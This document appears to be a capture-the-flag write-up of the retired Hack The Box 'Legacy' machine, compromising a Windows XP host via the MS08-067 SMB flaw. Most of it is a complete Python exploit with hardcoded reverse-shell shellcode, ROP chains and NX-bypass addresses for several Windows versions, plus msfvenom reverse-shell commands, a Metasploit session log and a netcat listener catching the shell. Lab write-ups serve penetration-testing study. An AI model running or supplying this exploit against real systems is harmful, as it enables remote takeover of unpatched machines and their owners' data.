HTB – Legacy

Today we are going to solve another CTF challenge “Legacy” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried Legacy lab.

Level: Beginners

Task: find user.txt and root.txt file in victim’s machine.

Let’s start with a basic nmap scan

As we know in windows XP Port 445 was vulnerable to netapi exploit and it was a remarkable vulnerbality in SMB protcol.

root@kali:~/htb/legacy# nmap -sS -sV -Pn 10.10.10.4 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-26 18:57 CET 
Nmap scan report for 10.10.10.4 
Host is up (0.16s latency). 
Not shown: 997 filtered ports 
PORT STATE SERVICE VERSION 
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 
3389/tcp closed ms-wbt-server 
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 55.53 seconds

Let confirm SMB vulnerability in victims system using namp script.

Then I run msfconsole command in terminal and load metasploit framework for using eternal blue module for exploiting target machine.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set rhost 10.10.10.4
rhost => 10.10.10.4
msf exploit(windows/smb/ms08_067_netapi) > check
[+] 10.10.10.4:445 - The target is vulnerable.
msf exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 10.10.14.13:4444 
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.10.10.4:1211) at 2019-01-26 18:52:19 +0100

meterpreter > shell
Process 808 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Inside c:\Document and Setting \john \Desktop I found user.txt file

Inside c:\Document and Setting \Administrator\Desktop I found root.txt file

Without metasploit:

root@kali:~/htb# python MS08_067_2018.py 10.10.10.4 6 445
#######################################################################
# MS08-067 Exploit
# This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
#
# Mod in 2018 by Andy Acer
# - Added support for selecting a target port at the command line.
# - Changed library calls to allow for establishing a NetBIOS session for SMB transport
# - Changed shellcode handling to allow for variable length shellcode.
#######################################################################


$ This version requires the Python Impacket library version to 0_9_17 or newer.
$
$ Here's how to upgrade if necessary:
$
$ git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
$ cd impacket
$ pip install .


#######################################################################

Windows XP SP3 English (NX)

[-]Initiating connection
[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
Exploit finish

root@kali:~/htb#

code MS08_067_2018.py

#!/usr/bin/env python
import struct
import time
import sys
from threading import Thread # Thread is imported incase you would like to modify

try:
from impacket import smb
from impacket import uuid
#from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport

except ImportError, _:
print 'Install the following library to make this script work'
print 'Impacket : https://github.com/CoreSecurity/impacket.git'
print 'PyCrypto : https://pypi.python.org/pypi/pycrypto'
sys.exit(1)

print '#######################################################################'
print '# MS08-067 Exploit'
print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'
print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
print '#'
print '# Mod in 2018 by Andy Acer'
print '# - Added support for selecting a target port at the command line.'
print '# - Changed library calls to allow for establishing a NetBIOS session for SMB transport'
print '# - Changed shellcode handling to allow for variable length shellcode.'
print '#######################################################################\n'

print ('''
$ This version requires the Python Impacket library version to 0_9_17 or newer.
$
$ Here's how to upgrade if necessary:
$
$ git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
$ cd impacket
$ pip install .

''')

print '#######################################################################\n'


# ------------------------------------------------------------------------
# REPLACE THIS SHELLCODE with shellcode generated for your use
# Note that length checking logic follows this section, so there's no need to count bytes or bother with NOPS.
#
# Example msfvenom commands to generate shellcode:
# msfvenom -p windows/shell_bind_tcp RHOST=10.11.1.229 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.13 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.112 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

# Reverse TCP to 10.11.0.112 port 443:
shellcode=(
"\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\x8e\xc8\x85\xbb\x83\xee\xfc\xe2\xf4\x72\x20\x07\xbb\x8e\xc8"
"\xe5\x32\x6b\xf9\x45\xdf\x05\x98\xb5\x30\xdc\xc4\x0e\xe9\x9a"
"\x43\xf7\x93\x81\x7f\xcf\x9d\xbf\x37\x29\x87\xef\xb4\x87\x97"
"\xae\x09\x4a\xb6\x8f\x0f\x67\x49\xdc\x9f\x0e\xe9\x9e\x43\xcf"
"\x87\x05\x84\x94\xc3\x6d\x80\x84\x6a\xdf\x43\xdc\x9b\x8f\x1b"
"\x0e\xf2\x96\x2b\xbf\xf2\x05\xfc\x0e\xba\x58\xf9\x7a\x17\x4f"
"\x07\x88\xba\x49\xf0\x65\xce\x78\xcb\xf8\x43\xb5\xb5\xa1\xce"
"\x6a\x90\x0e\xe3\xaa\xc9\x56\xdd\x05\xc4\xce\x30\xd6\xd4\x84"
"\x68\x05\xcc\x0e\xba\x5e\x41\xc1\x9f\xaa\x93\xde\xda\xd7\x92"
"\xd4\x44\x6e\x97\xda\xe1\x05\xda\x6e\x36\xd3\xa0\xb6\x89\x8e"
"\xc8\xed\xcc\xfd\xfa\xda\xef\xe6\x84\xf2\x9d\x89\x37\x50\x03"
"\x1e\xc9\x85\xbb\xa7\x0c\xd1\xeb\xe6\xe1\x05\xd0\x8e\x37\x50"
"\xeb\xde\x98\xd5\xfb\xde\x88\xd5\xd3\x64\xc7\x5a\x5b\x71\x1d"
"\x12\xd1\x8b\xa0\x8f\xb1\x80\xc5\xed\xb9\x8e\xc9\x3e\x32\x68"
"\xa2\x95\xed\xd9\xa0\x1c\x1e\xfa\xa9\x7a\x6e\x0b\x08\xf1\xb7"
"\x71\x86\x8d\xce\x62\xa0\x75\x0e\x2c\x9e\x7a\x6e\xe6\xab\xe8"
"\xdf\x8e\x41\x66\xec\xd9\x9f\xb4\x4d\xe4\xda\xdc\xed\x6c\x35"
"\xe3\x7c\xca\xec\xb9\xba\x8f\x45\xc1\x9f\x9e\x0e\x85\xff\xda"
"\x98\xd3\xed\xd8\x8e\xd3\xf5\xd8\x9e\xd6\xed\xe6\xb1\x49\x84"
"\x08\x37\x50\x32\x6e\x86\xd3\xfd\x71\xf8\xed\xb3\x09\xd5\xe5"
"\x44\x5b\x73\x65\xa6\xa4\xc2\xed\x1d\x1b\x75\x18\x44\x5b\xf4"
"\x83\xc7\x84\x48\x7e\x5b\xfb\xcd\x3e\xfc\x9d\xba\xea\xd1\x8e"
"\x9b\x7a\x6e"
)
# ------------------------------------------------------------------------

# Gotta make No-Ops (NOPS) + shellcode = 410 bytes
num_nops = 410 - len(shellcode)
newshellcode = "\x90" * num_nops
newshellcode += shellcode # Add NOPS to the front
shellcode = newshellcode # Switcheroo with the newshellcode temp variable

#print "Shellcode length: %s\n\n" % len(shellcode)

nonxjmper = "\x08\x04\x02\x00%s" + "A" * 4 + "%s" + \
"A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10
disableNXjumper = "\x08\x04\x02\x00%s%s%s" + "A" * \
28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62"
ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01";
module_base = 0x6f880000


def generate_rop(rvas):
gadget1 = "\x90\x5a\x59\xc3"
gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]
gadget3 = "\xcc\x90\xeb\x5a"
ret = struct.pack('<L', 0x00018000)
ret += struct.pack('<L', rvas['call_HeapCreate'] + module_base)
ret += struct.pack('<L', 0x01040110)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L',
rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget1
ret += struct.pack('<L', rvas['mov [eax], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget2[0]
ret += gadget2[1]
ret += struct.pack('<L', rvas[
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget2[2]
ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['add eax, 8 / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget3
return ret


class SRVSVC_Exploit(Thread):
def __init__(self, target, os, port=445):
super(SRVSVC_Exploit, self).__init__()

# MODIFIED HERE
# Changed __port to port ... not sure if that does anything. I'm a newb.
self.port = port
self.target = target
self.os = os

def __DCEPacket(self):
if (self.os == '1'):
print 'Windows XP SP0/SP1 Universal\n'
ret = "\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os == '2'):
print 'Windows 2000 Universal\n'
ret = "\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os == '3'):
print 'Windows 2003 SP0 Universal\n'
ret = "\x9e\x12\x00\x01" # 0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os == '4'):
print 'Windows 2003 SP1 English\n'
ret_dec = "\x8c\x56\x90\x7c" # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = "\xf4\x7c\xa2\x7c" # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = "\xd3\xfe\x86\x7c" # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = "\x13\xe4\x83\x7c" # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (
ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
elif (self.os == '5'):
print 'Windows XP SP3 French (NX)\n'
ret = "\x07\xf8\x5b\x59" # 0x59 5b f8 07
disable_nx = "\xc2\x17\x5c\x59" # 0x59 5c 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '6'):
print 'Windows XP SP3 English (NX)\n'
ret = "\x07\xf8\x88\x6f" # 0x6f 88 f8 07
disable_nx = "\xc2\x17\x89\x6f" # 0x6f 89 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '7'):
print 'Windows XP SP3 English (AlwaysOn NX)\n'
rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
# the nonxjmper also work in this case.
jumper = generate_rop(rvasets) + "AB"
else:
print 'Not supported OS version\n'
sys.exit(-1)

print '[-]Initiating connection'

# MORE MODIFICATIONS HERE #############################################################################################

if (self.port == '445'):
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
else:
# DCERPCTransportFactory doesn't call SMBTransport with necessary parameters. Calling directly here.
# *SMBSERVER is used to force the library to query the server for its NetBIOS name and use that to 
# establish a NetBIOS Session. The NetBIOS session shows as NBSS in Wireshark.

self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )

self.__trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(
('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"

# NEW HOTNESS
# The Path Length and the "Actual Count" SMB parameter have to match. Path length in bytes
# is double the ActualCount field. MaxCount also seems to match. These fields in the SMB protocol
# store hex values in reverse byte order. So: 36 01 00 00 => 00 00 01 36 => 310. No idea why it's "doubled"
# from 310 to 620. 620 = 410 shellcode + extra stuff in the path.
MaxCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620.
Offset = "\x00\x00\x00\x00"
ActualCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620

self.__stub = server + MaxCount + Offset + ActualCount + \
path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"

return

def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(3)
print 'Exploit finish\n'

if __name__ == '__main__':
try:
target = sys.argv[1]
os = sys.argv[2]
port = sys.argv[3]
except IndexError:
print '\nUsage: %s <target ip> <os #> <Port #>\n' % sys.argv[0]
print 'Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445'
print 'Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)'
print 'Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal'
print 'Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English'
print 'Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)'
print 'Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)'
print 'Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)'
print ''
print 'FYI: nmap has a good OS discovery script that pairs well with this exploit:'
print 'nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1'
print ''
sys.exit(-1)


current = SRVSVC_Exploit(target, os, port)
current.start()
root@kali:~/htb# nc -lvp 443
listening on [any] 443 ...
10.10.10.4: inverse host lookup failed: Unknown host
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.4] 1031
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>hostname
hostname
legacy

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : 
IP Address. . . . . . . . . . . . : 10.10.10.4
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2

C:\WINDOWS\system32>

Author: Jacco Straathof

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